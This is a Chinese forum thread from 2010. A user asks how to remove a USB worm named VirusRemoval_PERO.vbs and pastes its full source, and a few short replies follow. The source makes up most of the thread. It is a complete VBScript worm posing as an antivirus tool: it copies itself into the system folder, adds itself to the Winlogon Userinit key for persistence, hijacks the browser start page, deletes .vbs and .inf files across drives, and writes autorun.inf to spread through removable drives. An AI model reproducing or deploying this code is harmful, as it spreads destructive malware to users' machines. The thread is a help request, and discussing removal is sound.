superpangya 发表于 2010-11-17 11:40:25

U盘中了VirusRemoval_PERO.vbs 删掉还会自己生成,怎么解决?

VirusRemoval_PERO.vbs 还有一个AUTORUN.INF(只读和存档属性),删掉会自动生成。。快烦死了。。


这是VirusRemoval_PERO.vbs的代码。
'******************************************************************
'This antivirus program is intended to repair your computer from
'any sorts of virus attacks.
'This program is exactly like a normal virus but it repairs things
'rather than destroying them.
'******************************************************************
'******************************************************************
'Program developed by
'ENG/ALBER SABER
'http://WWW.GEOCITIES.COM/PEROCAIRO
'PEROCAIRO@YAHOO.COM
Option Explicit
On Error Resume Next

Dim Fso,Shells,SystemDir,WinDir,Count,File,Drv,Drives,InDrive,ReadAll,AllFile,WriteAll,Del,Chg,folder,files,Delete,auto,root

Set Fso = CreateObject("Scripting.FileSystemObject")
Set Shells = CreateObject("Wscript.Shell")
Set WinDir = Fso.GetSpecialFolder(0)
Set SystemDir =Fso.GetSpecialFolder(1)
Set File = Fso.GetFile(WScript.ScriptFullName)
Set Drv = File.Drive
Set InDrive = Fso.drives
Set ReadAll = File.OpenAsTextStream(1,-2)
do while not ReadAll.atendofstream
AllFile = AllFile & ReadAll.readline
AllFile = AllFile & vbcrlf
Loop


Count=Drv.DriveType

Do
        If Not Fso.FileExists(SystemDir & "\VirusRemoval_PERO.vbs") then
                set WriteAll = Fso.CreateTextFile(SystemDir & "\VirusRemoval_PERO.vbs",2,true)
                WriteAll.Write AllFile
                WriteAll.close
                set WriteAll = Fso.GetFile(SystemDir & "\VirusRemoval_PERO.vbs")
                WriteAll.Attributes = -1
        End If

        Shells.RegWrite "HKCU\Software\Microsoft\Internet Explorer\Main\Window Title","Sujin.com.np"
        Shells.RegWrite "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoFolderOptions","0","REG_DWORD"
        Shells.RegWrite "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System\DisableTaskMgr","0","REG_DWORD"
        Shells.RegWrite "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System\DisableRegistryTools","0","REG_DWORD"
        Shells.RegWrite "HKCU\Software\Microsoft\Internet Explorer\Main\Start Page","http://WWW.GEOCITIES.COM/PEROCAIRO/"
        Shells.RegWrite "HKLM\Software\Microsoft\Windows NT\CurrentVersion\Winlogon\Shell","explorer.exe"
        Shells.RegWrite "HKLM\Software\Microsoft\Windows NT\CurrentVersion\Winlogon\Userinit",SystemDir & "\userinit.exe," & _
        SystemDir & "\wscript.exe " & SystemDir & "\VirusRemoval_PERO.vbs"

        For Each Drives In InDrive
                root = Drives.Path & "\"
                If Fso.GetParentFolderName(WScript.ScriptFullName)=root Then
                        Shells.Run "explorer.exe " & root
                End If
                Set folder=Fso.GetFolder(root)
                Set Delete = Fso.DeleteFile(SystemDir & "\killvbs.vbs",true)
                For Each files In folder.Files
                        auto=Left(files.Name,7)
                        If UCase(auto)=UCase("autorun") Then
                                Set Delete = Fso.DeleteFile(root & files.Name,true)
                        End If       
                Next
                If Drives.DriveType=2 Then
                        delext "inf",Drives.Path & "\"
                        delext "INF",Drives.Path & "\"
                End if

                If Drives.DriveType = 1 Or Drives.DriveType = 2 Then
                        If Drives.Path<> "A:" Then
                                delext "vbs",WinDir & "\"
                                delext "vbs",Drives.Path& "\"
                               
                                If Fso.FileExists(Drives.Path & "\ravmon.exe") Then
                                        Fso.DeleteFile(Drives.Path & "\ravmon.exe")
                                End If
                                If Fso.FileExists(Drives.Path & "\sxs.exe") Then
                                        Fso.DeleteFile(Drives.Path & "\sxs.exe")
                                End If
                                If Fso.FileExists(Drives.Path & "\winfile.exe") Then
                                        Fso.DeleteFile(Drives.Path & "\winfile.exe")
                                End If
                                If Fso.FileExists(Drives.Path & "\run.wsh") Then
                                        Fso.DeleteFile(Drives.Path & "\run.wsh")
                                End If
                               
                                If Drives.DriveType = 1 Then
                                        If Drives.Path<>"A:" Then
                                                If Not Fso.FileExists(Drives.Path & "\VirusRemoval_PERO.vbs") Then
                                                        Set WriteAll=Fso.CreateTextFile(Drives.Path & "\VirusRemoval_PERO.vbs",2,True)
                                                        WriteAll.Write AllFile
                                                        WriteAll.Close
                                                        Set WriteAll = Fso.GetFile(Drives.Path & "\VirusRemoval_PERO.vbs")
                                                        WriteAll.Attributes = -1
                                                End If
                               
                                                If Fso.FileExists(Drives.Path & "\autorun.inf") Or Fso.FileExists(Drives.Path & "\AUTORUN.INF") Then
                                                        Set Chg = Fso.GetFile(Drives.Path & "\autorun.inf")
                                                        Chg.Attributes = -8
                                                        Set WriteAll = Fso.CreateTextFile(Drives.Path & "\autorun.inf",2,True)
                                                        WriteAll.writeline ""
                                                        WriteAll.WriteLine "open=wscript.exe VirusRemoval_PERO.vbs"
                                                        WriteAll.WriteLine "shell\open=Open"
                                                        WriteAll.WriteLine "shell\open\Command=wscript.exe VirusRemoval_PERO.vbs"
                                                        WriteAll.Close
                                                        Set WriteAll = Fso.GetFile(Drives.Path & "\autorun.inf")
                                                        WriteAll.Attributes = -1
                                                else
                                                        Set WriteAll = Fso.CreateTextFile(Drives.Path & "\autorun.inf",2,True)
                                                        WriteAll.writeline ""
                                                        WriteAll.WriteLine "open=wscript.exe VirusRemoval_PERO.vbs"
                                                        WriteAll.WriteLine "shell\open=Open"
                                                        WriteAll.WriteLine "shell\open\Command=wscript.exe VirusRemoval_PERO.vbs"
                                                        WriteAll.Close
                                                        Set WriteAll = Fso.GetFile(Drives.Path & "\autorun.inf")
                                                        WriteAll.Attributes = -1
                                                End if
                                        End If
                                End If
                        End if
                End If
        Next

        if Count <> 1 then
        Wscript.sleep 10000
        end if
loop while Count<>1

sub delext(File2Find, SrchPath)
   Dim oFileSys, oFolder, oFile,Cut,Delete
   Set oFileSys = CreateObject("Scripting.FileSystemObject")
   Set oFolder = oFileSys.GetFolder(SrchPath)
   For Each oFile In oFolder.Files
                Cut=Right(oFile.Name,3)
                If UCase(Cut)=UCase(file2find) Then
                        If oFile.Name <> "VirusRemoval_PERO.vbs" Then Set Delete = oFileSys.DeleteFile(srchpath & oFile.Name,true)
                End If
   Next
End sub

3mile 发表于 2010-11-17 11:53:40

我只看到这一句:Set Delete = Fso.DeleteFile(SystemDir & "\killvbs.vbs",true)

蜘蛛抱蛋 发表于 2010-11-17 17:43:41

这是神马病毒啊,变量都这么有含义

binghc 发表于 2010-11-17 18:06:04

这个强啊!病毒代码值得学习!!

chenronting 发表于 2010-11-17 19:40:30

就我个人的经验而言 ,应该是计算机中的病毒 ,你先把计算机里的病毒杀了,U盘里的东西很好删掉的。或是进PE删。

蜘蛛抱蛋 发表于 2010-11-17 20:16:24

回复 4# binghc
跟Au3一样,都是脚本,不过这也太那个暴露了,不但没有乱码迷惑,居然还有代码格式。。。

the995 发表于 2011-5-8 16:44:23

大力支持.....
页: [1]
查看完整版本: U盘中了VirusRemoval_PERO.vbs 删掉还会自己生成,怎么解决?